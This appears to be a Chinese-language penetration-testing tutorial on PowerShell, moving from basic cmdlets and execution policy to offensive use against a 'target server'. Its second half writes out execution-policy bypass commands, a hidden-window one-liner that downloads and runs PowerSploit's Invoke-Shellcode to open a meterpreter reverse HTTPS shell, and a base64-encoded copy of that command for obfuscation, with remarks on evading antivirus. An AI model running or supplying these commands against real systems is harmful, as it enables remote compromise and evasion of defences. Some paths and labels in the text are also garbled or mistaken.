Metadata
Author | Tahir |
---|---|
Creation Date | 2021/08/04 |
Modification Date | 2021/08/04 |
Tactics | Null |
Techniques | Null |
Tactics
Null
Techniques
Windows PowerShell是一种命令行外壳程序和脚本环境。它内置在每个Windows版本中(Windows 7或者Windows Server 2008 R2及更高版本),为Windows命令行使用者和脚本编写者利用.NET Framework的强大功能提供了遍历。只要可以在一台计算机上运行代码,就可以将PowerShell脚本文件(.psl)下载到磁盘中执行(甚至无须将脚本文件写到磁盘中)。也可以把PowerShell看作命令行提示符cmd.exe的扩展。
PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。PowerShell的这些特点,使它逐渐成为一个非常流行的安全测试工具。
PowerShell具有以下特点:
- 在Windows 7以上版本的操作系统中是默认安装的
- 脚本可以在内存中运行,不需要写入磁盘
- 几乎不触发杀毒软件
- 可以远程执行
- 目前很多工具都是基于PowerShell开发的
- 使Windows脚本的执行变得容易
- cmd.exe的运行通常会被阻止,但是PowerShell的运行通常不会被阻止
- 可用于管理活动目录
可以输入
1 | Get-Host |
命令查看PowerShell的版本
Windows操作系统对应的PowerShell版本:
操作系统 | PowerShell | 是否可升级 |
---|---|---|
Windows 7/Windows Server 2008 | 2.0 | 可升级 |
Windows 8/Windows Server 2012 | 3.0 | 可升级 |
Windows 8.1/Windows Server 2012 R2 | 4.0 | 否 |
PowerShell的基本概念
.ps1文件
一个PowerShell脚本其实是一个简单的文本文件,其扩展名为.ps1。PowerShell脚本文件中包含一系列的PowerShell命令,每个命令显示为独立的一行。
执行策略
为了防止运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能执行”。
如果PowerShell脚本无法执行,可以使用下面的cmdlet命令查询当前的执行策略,默认设置为Restricted,不能运行脚本
1 | Get-ExecutionPolicy |
有4中执行策略可以设置:
1 | Restricted 脚本不能运行 |
可以用下面的命令设置以上执行策略
1 | Set-ExecutionPolicy [policy name] |
PowerShell常用命令
基本知识
在PowerShell下,类似cmd命令叫作cmdlet命令。二者的命名规范一致,都采用“动词-名词”的形式,例如“New-Item”。动词一般为Add、New、Get、Remove、Set等。命令的别名一般兼容Windows Command和Linux Shell,PowerShell不区分大小写。
下面以文件操作为例,讲解PowerShell的基本用法:
创建目录
1 | New-Item whitecellclub-ItemType Directory |
新建文件
1 | New-Item light.txt-ItemType File |
删除目录
1 | Remove-Item whitecellclub |
显示文本内容
1 | Get-Content test.txt |
设置文本内容
1 | Set-Content test.txt-Value "Hello World" |
追加内容
1 | Add-Content light.txt-Value "i love you" |
清除内容
1 | Clear-Content test.txt |
常用命令
在Windows终端下输入powershell,进入PowerShell命令行环境,输入help可以显示帮助信息。
要运行PowerShell脚本,必须使用管理员权限将策略改为Unrestricted。
绕过本地权限并执行
将PowerShell.ps1上传至目标服务器。在命令行中执行命令,绕过安全策略,在目标服务器上执行脚本。
1 | PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.ps1 |
将同一个脚本上传至目标服务器。在本地执行命令:
1 | PowerShell.exe -ExecutionPolicy Bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-Allchecks}" |
从远端服务器中下载脚本,绕过本地权限并隐藏执行
1 | PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("远程下载脚本的链接"); [Parameters] |
例子:Invoke–Shellcode.ps1一个远端的恶意ps1脚本
https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1
执行命令:
1 | PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 127.0.0.1 -Lport 666 |
常用参数说明:
- -ExecutionPolicy Bypass (-exec bypass):绕过安全执行策略
- -WindowSytle Hidden (-w hidden):隐藏窗口
- -NonInteractive (-NonI):非交互模式。PowerShell不为用户提供交互式的提示
- -NoProfile (-NoP):PowerShell控制台不加载当前用户的配置文件
- -noexit:执行后不退出shell,这个参数在使用键盘记录器等脚本时非常重要
- -NoLogo:启动不显示版权标志的PowerShell
使用base64对命令进行编码
使用base64对PowerShell命令进行混淆和压缩代码。可以使用python脚本对所有PowerShell命令进行base64编码,使用ps_encoder.py进行编码时,转换对象必须是文本文件,因此要把命令保存为文本文件
1 | echo IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 127.0.0.1 -Lport 80 > raw.txt |
1 | python ps_encoder.py -s ./raw.txt |
经过base64编码的PowerShell命令
1 | SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAGMAaABlAGUAdAB6AC8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8AbQBhAHMAdABlAHIALwBDAG8AZABlAEUAeABlAGMAdQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQAtAFMAaABlAGwAbABjAG8AZABlAC4AcABzADEAIgApADsAIABJAG4AdgBvAGsAZQAtAFMAaABlAGwAbABjAG8AZABlACAALQBQAGEAeQBsAG8AYQBkACAAdwBpAG4AZABvAHcAcwAvAG0AZQB0AGUAcgBwAHIAZQB0AGUAcgAvAHIAZQB2AGUAcgBzAGUAXwBoAHQAdABwAHMAIAAtAEwAaABvAHMAdAAgADEAMgA3AC4AMAAuADAALgAxACAALQBMAHAAbwByAHQAIAA4ADAAIAAKAA== |
在远程主机上执行以下命令:
1 | PowerShell.exe -NoP -NonI -w hidden -exec bypass -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAGMAaABlAGUAdAB6AC8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8AbQBhAHMAdABlAHIALwBDAG8AZABlAEUAeABlAGMAdQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQAtAFMAaABlAGwAbABjAG8AZABlAC4AcABzADEAIgApADsAIABJAG4AdgBvAGsAZQAtAFMAaABlAGwAbABjAG8AZABlACAALQBQAGEAeQBsAG8AYQBkACAAdwBpAG4AZABvAHcAcwAvAG0AZQB0AGUAcgBwAHIAZQB0AGUAcgAvAHIAZQB2AGUAcgBzAGUAXwBoAHQAdABwAHMAIAAtAEwAaABvAHMAdAAgADEAMgA3AC4AMAAuADAALgAxACAALQBMAHAAbwByAHQAIAA4ADAAIAAKAA== |
运行32位和64位PowerShell
在64位的Windows操作系统上,存在两个版本的PowerShell,一个是x64,一个x86,两个版本的执行策略不会互相影响。x64版本在PowerShell的配置文件在%widir%\syswow64\WindowsPowerShell\v1.0\ 目录下。
运行32位PowerShell脚本,命令如下:
1 | PowerShell.exe -NoP -NonI -w hidden -exec bypass |
运行64位PowerShell脚本,命令如下:
1 | %widir%\syswow64\WindowsPowerShell\v1.0\PowerShell.exe -NoP -NonI -w hidden -exec bypass |
一个PowerShell在线教程
https://www.pstips.net/powershell-online-tutorials